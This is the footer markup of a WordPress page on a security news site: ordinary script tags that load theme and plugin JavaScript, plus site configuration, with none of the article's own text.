<script type="text/javascript" id="wp-i18n-js-after"> /* <![CDATA[ */ wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.1.3" id="swv-js"></script> <script type="text/javascript" id="contact-form-7-js-before"> /* <![CDATA[ */ var wpcf7 = { "api": { "root": "https:\/\/cybernoz.com\/wp-json\/", "namespace": "contact-form-7\/v1" } }; /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.1.3" id="contact-form-7-js"></script> <script type="text/javascript" src="https://challenges.cloudflare.com/turnstile/v0/api.js" id="cloudflare-turnstile-js" data-wp-strategy="async"></script> <script type="text/javascript" id="cloudflare-turnstile-js-after"> /* <![CDATA[ */ document.addEventListener( 'wpcf7submit', e => turnstile.reset() ); /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot-pro/assets/js/jquery.marquee.min.js" id="marquee-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot-pro/assets/js/ResizeSensor.min.js" id="ResizeSensor-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot-pro/assets/js/theia-sticky-sidebar.min.js" id="theia-sticky-sidebar-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot-pro/assets/js/navigation.js" id="gridhot-navigation-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot-pro/assets/js/skip-link-focus-fix.js" id="gridhot-skip-link-focus-fix-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-includes/js/imagesloaded.min.js?ver=5.0.0" id="imagesloaded-js"></script> <script type="text/javascript" id="gridhot-customjs-js-extra"> /* <![CDATA[ */ var gridhot_ajax_object = {"ajaxurl":"https:\/\/cybernoz.com\/wp-admin\/admin-ajax.php","primary_menu_active":"1","secondary_menu_active":"1","primary_mobile_menu_active":"1","secondary_mobile_menu_active":"1","sticky_header_active":"1","sticky_header_mobile_active":"","sticky_sidebar_active":"1","news_ticker_active":"1","news_ticker_duration":"60000","news_ticker_direction":"left","masonry_active":"","fitvids_active":"","backtotop_active":"1","columnwidth":".gridhot-4-col-sizer","gutter":".gridhot-4-col-gutter","posts_navigation_active":"1","posts_navigation_type":"numberednavi","loadmore":"Load More","loading":"Loading...","loadfailed":"Failed to load posts.","load_more_nonce":"aabe0993a0","posts":"{\"page\":0,\"name\":\"basic-recon-to-rce-iii\",\"error\":\"\",\"m\":\"\",\"p\":0,\"post_parent\":\"\",\"subpost\":\"\",\"subpost_id\":\"\",\"attachment\":\"\",\"attachment_id\":0,\"pagename\":\"\",\"page_id\":0,\"second\":\"\",\"minute\":\"\",\"hour\":\"\",\"day\":0,\"monthnum\":0,\"year\":0,\"w\":0,\"category_name\":\"\",\"tag\":\"\",\"cat\":\"\",\"tag_id\":\"\",\"author\":\"\",\"author_name\":\"\",\"feed\":\"\",\"tb\":\"\",\"paged\":0,\"meta_key\":\"\",\"meta_value\":\"\",\"preview\":\"\",\"s\":\"\",\"sentence\":\"\",\"title\":\"\",\"fields\":\"all\",\"menu_order\":\"\",\"embed\":\"\",\"category__in\":[],\"category__not_in\":[],\"category__and\":[],\"post__in\":[],\"post__not_in\":[],\"post_name__in\":[],\"tag__in\":[],\"tag__not_in\":[],\"tag__and\":[],\"tag_slug__in\":[],\"tag_slug__and\":[],\"post_parent__in\":[],\"post_parent__not_in\":[],\"author__in\":[],\"author__not_in\":[],\"search_columns\":[],\"ignore_sticky_posts\":false,\"suppress_filters\":false,\"cache_results\":true,\"update_post_term_cache\":true,\"update_menu_item_cache\":false,\"lazy_load_term_meta\":true,\"update_post_meta_cache\":true,\"post_type\":\"\",\"posts_per_page\":12,\"nopaging\":false,\"comments_per_page\":\"50\",\"no_found_rows\":false,\"order\":\"DESC\"}","current_page":"1","max_page":"0"}; /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot-pro/assets/js/custom.js" id="gridhot-customjs-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/mousewheel-smooth-scroll/js/lenis.min.js?ver=1.1.19" id="lenis-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/uploads/wpmss/lenis-init.min.js?ver=1741843726" id="lenis-init-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/google-site-kit/dist/assets/js/googlesitekit-events-provider-contact-form-7-40476021fb6e59177033.js" id="googlesitekit-events-provider-contact-form-7-js" defer></script> </body> </html><script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="6f63876a29555f08ce4ffd07-|49" defer></script>